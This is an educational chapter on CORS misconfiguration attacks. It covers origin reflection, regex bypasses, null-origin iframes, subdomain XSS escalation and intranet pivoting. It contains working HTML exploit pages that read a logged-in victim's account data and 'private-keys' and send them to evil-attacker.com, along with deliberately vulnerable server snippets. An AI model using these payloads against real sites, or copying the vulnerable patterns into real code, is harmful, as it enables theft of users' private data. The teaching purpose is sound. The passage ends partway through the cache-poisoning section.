03 - CORS Misconfigurations and Attack Vectors
When backend applications dynamically construct or improperly validate CORS HTTP response headers, attackers can bypass Same-Origin Policy (SOP) protections to read confidential API data, exfiltrate sensitive credentials, and execute unauthorized user actions.
[!CAUTION] Legal Notice: The code samples, attack payloads, and exploitation techniques documented in this section are provided strictly for educational purposes, authorized security auditing, and defensive vulnerability research. Unauthorized testing against external systems is illegal.
Technical Summary of Exploitable Patternsβ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CORS VULNERABILITY MECHANISMS AT A GLANCE β
βββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββ€
β Misconfiguration Pattern β Exploitation Technique β
βββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββ€
β 1. Dynamic Origin Reflection β Echoes any incoming `Origin` header alongsideβ
β β `Access-Control-Allow-Credentials: true`. β
βββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββ€
β 2. Flawed Regex Validation β Unanchored regexes allow prefix/suffix β
β β domain bypasses (e.g., `eviltarget.com`). β
βββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββ€
β 3. Trusting the `null` Origin β `null` origin forced via sandboxed iframes β
β β or `data:` URIs to read protected data. β
βββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββ€
β 4. Subdomain XSS Escalation β Trusting `*.target.com` allows XSS on a β
β β staging site to steal production API data. β
βββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββ€
β 5. Intranet / IP Pivoting β External site uses wildcards/internal trust β
β β to scan & query corporate internal APIs. β
βββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββ€
β 6. Missing `Vary: Origin` β CDN cache poisoning serves malicious CORS β
β β response headers to legitimate users. β
βββββββββββββββββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββ
1. Dynamic Origin Reflection (ACAO: Origin + ACAC: true)β
Root Causeβ
Developers often discover that Access-Control-Allow-Origin: * cannot be combined with Access-Control-Allow-Credentials: true. To bypass this restriction, developers sometimes write custom middleware that reads the incoming Origin header from the client request and echoes it back verbatim in Access-Control-Allow-Origin.
# VULNERABLE CODE: Python Flask Dynamic Reflection
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin:
# Reflecting whatever origin the client sends!
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Exploit Mechanicsβ
- The victim logs into
https://vulnerable-bank.comand acquires a session cookie. - The victim visits the attacker's site (
https://evil-attacker.com). - The attacker's page executes a background
fetch()tohttps://vulnerable-bank.com/api/v1/user/account-infowithcredentials: 'include'. - The backend API reflects
Access-Control-Allow-Origin: https://evil-attacker.comand setsAccess-Control-Allow-Credentials: true. - The victim's browser permits
evil-attacker.comto read the sensitive account payload.
JavaScript Exploit Payloadβ
<!-- Hosted at https://evil-attacker.com/exploit.html -->
<!DOCTYPE html>
<html>
<head><title>Claim Your Reward!</title></head>
<body>
<h1>Processing Offer...</h1>
<script>
const targetUrl = "https://vulnerable-bank.com/api/v1/user/account-info";
const attackerExfilUrl = "https://evil-attacker.com/log";
fetch(targetUrl, {
method: "GET",
credentials: "include" // Automatically transmits victim session cookies
})
.then(response => {
if (!response.ok) throw new Error("HTTP error " + response.status);
return response.json();
})
.then(data => {
// Exfiltrate stolen JSON payload to attacker command & control server
fetch(attackerExfilUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
victim_data: data,
stolen_at: new Date().toISOString()
})
});
})
.catch(err => console.error("CORS Exploit Failed:", err));
</script>
</body>
</html>
2. Flawed Regex and String Matching Bypassesβ
When developers attempt to validate incoming origins using regular expressions or loose string operations, common implementation errors lead to domain bypasses.
Scenario A: Suffix Bypass (Missing Boundary)β
- Vulnerable Code (JavaScript/Node.js):
// Intended: Allow https://target.comif (origin.endsWith("target.com")) {res.setHeader('Access-Control-Allow-Origin', origin);}
- Bypass Payload:
https://eviltarget.comorhttps://attacker-target.com - Root Cause: The check matches any domain ending in the string
target.com. The attacker registerseviltarget.com.
Scenario B: Prefix Bypass (Missing Anchors)β
- Vulnerable Code (Python):
# Intended: Allow https://target.comif origin.startswith("https://target.com"):response.headers['Access-Control-Allow-Origin'] = origin
- Bypass Payload:
https://target.com.evil-attacker.com - Root Cause: The check matches any domain starting with
https://target.com. The attacker creates a subdomain on their own domain namedtarget.com.evil-attacker.com.
Scenario C: Unescaped Dot Regexβ
- Vulnerable Code (Regex):
# Intended: Allow https://api.target.comimport reif re.match(r"https://api.target.com", origin):response.headers['Access-Control-Allow-Origin'] = origin
- Bypass Payload:
https://apix-target.comorhttps://api-target.com - Root Cause: In regular expressions, an unescaped dot (
.) matches any character.api.targetmatchesapix-target. The dot must be escaped as\..
Scenario D: Missing Start/End Anchors (^ and $)β
- Vulnerable Code (Regex):
if re.search(r"target\.com", origin):response.headers['Access-Control-Allow-Origin'] = origin
- Bypass Payload:
https://evil-attacker.com/?leak=target.comorhttps://target.com.attacker.net
3. Trusting the null Originβ
Root Causeβ
Browsers set the Origin header to the string literal "null" in several specific scenarios:
- Requests originated from local HTML files loaded via the
file://scheme. - Requests initiated from within an
<iframe>configured with a restrictivesandboxattribute (e.g.,<iframe sandbox="allow-scripts">). - Cross-Origin Redirects (when a request undergoes 302 redirects across distinct origins).
- Requests originated from
data:orblob:URIs.
Developers testing locally often encounter CORS errors with file:// URLs and add "null" to their backend allowlist, or write logic like if (origin === 'null').
# Vulnerable Response Header
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Exploit Mechanicsβ
An attacker cannot change their web domain to "null". However, an attacker hosting a page on https://evil-attacker.com can create a sandboxed <iframe> without the allow-same-origin token. This forces the browser to evaluate the iframe's origin as "null".
Sandboxed iframe Exploit Payloadβ
<!-- Hosted at https://evil-attacker.com/null-exploit.html -->
<!DOCTYPE html>
<html>
<head><title>Null Origin Sandbox Exploit</title></head>
<body>
<h2>Triggering Null Origin Exploit...</h2>
<!-- Sandboxed iframe without allow-same-origin forces Origin: null -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
const target = 'https://vulnerable-api.com/user/private-keys';
fetch(target, { method: 'GET', credentials: 'include' })
.then(r => r.text())
.then(data => {
// Send stolen data to parent page for exfiltration
parent.postMessage(data, '*');
})
.catch(e => console.error(e));
</script>
"></iframe>
<script>
window.addEventListener('message', function(event) {
console.log('Stolen Data via Null Origin:', event.data);
// Exfiltrate to attacker server
new Image().src = 'https://evil-attacker.com/log?data=' + encodeURIComponent(event.data);
});
</script>
</body>
</html>
4. Subdomain XSS Escalation (*.domain.com Trust)β
Root Causeβ
An enterprise API configures a regex allowlist allowing any subdomain under *.example.com (e.g., https://*.example.com) to read sensitive credentials from https://api.example.com.
Exploit Mechanicsβ
- The primary API
api.example.comenforces secure code practices and has no XSS vulnerabilities. - An auxiliary domain or abandoned marketing site
blog-dev.example.comcontains a stored or reflected XSS vulnerability. - The attacker injects a malicious XSS payload into
blog-dev.example.com. - When an authenticated employee visits
blog-dev.example.com, the injected XSS script makes a cross-originfetch()toapi.example.com. - Because
api.example.comtrusts*.example.com, the request succeeds and sensitive API data is exfiltrated.
ββββββββββββββββββββββββββ Stored XSS ββββββββββββββββββββββββββ
β blog-dev.example.com β βββββββββββββββββββββββββ> β ATTACKER XSS PAYLOAD β
βββββββββββββ¬βββββββββββββ βββββββββββββ¬βββββββββββββ
β β
β Triggers Cross-Origin Fetch β
βΌ βΌ
ββββββββββββββββββββββββββ CORS Allowlist Trust ββββββββββββββββββββββββββ
β api.example.com β <βββββββββββββββββββββββββ β Trusted Origin Match! β
ββββββββββββββββββββββββββ ββββββββββββββββββββββββββ
5. Intranet Pivoting & Internal Network Reconnaissanceβ
Root Causeβ
Internal enterprise applications (e.g., http://router.local, http://10.0.0.1, http://jenkins.corp.internal) often rely on network-level trust (IP filtering, subnet boundaries) rather than authentication headers.
If an internal web application configures Access-Control-Allow-Origin: * or dynamically reflects origins without credentials:
Exploit Mechanicsβ
- An employee inside the corporate network opens
https://evil-attacker.comin their web browser. - The attacker's script issues background HTTP requests targeting common private subnets (
http://192.168.1.1,http://10.0.0.50:8080/api). - If internal servers return CORS headers, the external site
evil-attacker.comcan read internal corporate data, scan internal network topology, and extract infrastructure details via the employee's browser.
6. CORS Cache Poisoning via Missing Vary: Originβ
Root Causeβ
A backend server dynamically generates CORS headers based on the incoming Origin request header, but forgets to set Vary: Origin in the HTTP response. A reverse proxy or Content Delivery Network (CDN) sits in front of the API.